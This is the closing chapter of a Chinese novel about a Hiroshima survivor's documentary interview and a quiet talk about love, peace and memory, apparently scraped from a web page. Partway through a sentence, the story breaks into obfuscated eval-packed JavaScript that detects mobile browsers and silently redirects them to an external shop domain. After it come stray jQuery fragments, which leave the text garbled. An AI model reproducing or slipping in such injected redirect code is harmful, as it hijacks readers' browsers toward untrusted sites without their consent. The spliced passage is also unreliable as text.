制片人第一个站起来向胜一鞠躬。
“谢谢您。”
导演也站起来。
“Thank you.”
口译刚准备翻译，胜一已经摆了摆手。
“这个听得懂。”
大家都笑起来。
工作人员开始收设备。
胜一明显有些累。
沈晴给他倒了水。
“还好吗？”
“还行。”
“明天不要再接受采访了。”
胜一抬眼。
“你现在管得越来越多。”
“今天讲太久了。”
“你们昨天也讲了很久。”
“所以才更要休息。”
胜一喝了口水。
“知道了。”
纪录片团队临走前，导演又来到他面前。
“我们会非常认真地对待今天的内容。”
胜一听完翻译，只说：
“剪短一点也没关系。”
导演愣了一下。
“我们尽量不剪。”
胜一笑。
“我知道。”
“我的意思是，不用觉得每句话都很重要。”
他停了一下。
“我说的只是我的人生。”
导演看着他。
“正因为是您的人生，所以重要。”
胜一没有再说什么。
只是笑了一下。
团队离开以后，房间忽然安静很多。
九里帮着把因为拍摄移动过的一张椅子放回原位。
沈晴站在窗边。
刚才胜一讲母亲和姐姐的话，一直留在她脑子里。
如果活下来，会变成什么样。
她想起照片上的静子。
想起和美。
想起很多资料馆里的照片。
那些照片常常定格在某一年。
十六岁。
二十岁。
三十五岁。
然后就没有以后了。
沈晴忽然问：
“九里。”
九里把椅子推回桌边。
“嗯？”
“你觉得爱是什么？”
九里抬头看她。
这个问题显然不在他今天准备回答的范围里。
“为什么突然问这个？”
“刚才想到的。”
九里没有马上回答。
他站在那里，看了一眼客厅另一边正在和佐藤说话的胜一。
过了一会儿，他说：
“我不知道。”
沈晴笑了一下。
“建筑师也有不知道的？”
“很多。”
“那你想一下。”
九里真的想了。
“如果一定要说……”
他停顿了一下。
“可能是不希望对方遭遇本来可以避免的痛苦。”
沈晴看着他。
九里继续说：
“不是替她活。”
“也不是替她决定。”
“只是当事情真的发生的时候，会希望她不要受伤。”
“能活下来。”
“能有选择。”
“能继续过她自己的生活。”
他说完以后，又补了一句：
“大概是这样吧。”
沈晴没有马上说话。
“怎么？”
九里问。
沈晴看向胜一。
老人正低头整理桌上的材料。
那双手已经很老了。
照片里的静子和和美没有活到这样的年纪。
而胜一活到了。
她忽然说：
“我好像明白了。”
九里看着她。
沈晴慢慢说：
“爱是遇到灾难的时候，希望对方活下去的第一直觉和动作。”
九里没有打断。
“爱是希望对方免于流离，免于苦难。”
“是希望他不要失去家。”
“不要失去自己熟悉的生活。”
她停了一下。
“爱也是希望对方拥有一个美好的人生和结局。”
不是伟大的结局。
也不是被所有人记住。
只是可以平安长大。
工作。
爱人。
有家。
变老。
在某个冬天去看雪。
在某个晚上和朋友喝酒。
身体不舒服的时候有人陪着去医院。
最后回头看自己的一生时，可以说：
除了那场灾难，我还有很多别的事情。
九里安静听完。
“听起来你已经有答案了。”
沈晴笑了一下。
“刚刚才有。”
九里没有再说什么。
胜一在另一边叫她：
“沈小姐。”
“怎么了？”
“他们忘东西了吗？”
“没有。”
“那帮我看看这个怎么收。”
沈晴走过去。
是刚才纪录片团队留下的一份授权副本。
她帮胜一整理好，放进蓝色文件夹。
那个文件夹她见过。
很早以前。
里面放过她的名片。
胜一把文件夹合上。
“今天结束了吧？”
“结束了。”
“那我晚上可以喝一点？”
“不可以。”
“为什么？”
“您刚刚采访了一个半小
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17967714|214261||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
时。”
“采访和喝酒有什么关系？”
“我不知道。”
沈晴笑，“但是今天少喝一点。”
胜一摇头。
“越来越像我女儿。”
“那您今天就听我的。”
胜一嘴上抱怨，脸上却是笑的。
沈晴和九里离开时，已经接近傍晚。
走出公寓楼，天很亮。
连日来的闷热像是散了一点。
云层被风吹开。
太阳从楼宇之间落下来。
两个人并肩走了一段。
九里忽然抬头。
“今天天气不错。”
“嗯。”
“前几天还一直阴。”
沈晴也抬头。
天空很清。
蓝得很安静。
她忽然想起很久以前来到广岛时的天气。
又想起这段时间里发生的一切。
从一次提案开始。
从一句“不要把历史变得容易吞咽”开始。
从一个她甚至不知道名字的老人开始。
新馆开了。
有人走进去。
有人沉默。
有人愿意说。
有人愿意听。
欧洲来的镜头没有只停在八月六日。
它继续拍了八十年以后。
沈晴的手机忽然震了一下。
她拿出来。
是莲。
只有一句话。
——广岛放晴了吗？
沈晴站住。
九里往前走了两步，发现她没跟上，回头。
“怎么了？”
“没什么。”
她抬头看了一眼天。
然后低下头。
输入三个字。
——放晴了。
发送。
消息旁边很快出现已读标记。
沈晴把手机收起来。
没有等回复。
她继续往前走。
傍晚的广岛很普通。
电车经过。
有人骑着自行车。
便利店门口有人出来。
远处有人在说笑。
元安川的水缓慢往前。
没有任何一座城市会因为记住历史，就永远停留在历史里。
也没有任何一个人，应该只被记住生命中最痛苦的一天。
真正的和平，也许从来不是让灾难被忘记。
而是在记得那些灾难以后，仍然希望另一个人能够活下去。
免于流离、免于苦难。
拥有选择、拥有爱。
拥有一个属于自己的人生。
沈晴走进傍晚的人群。
身后的广岛，阳光正落下来。
——全文完。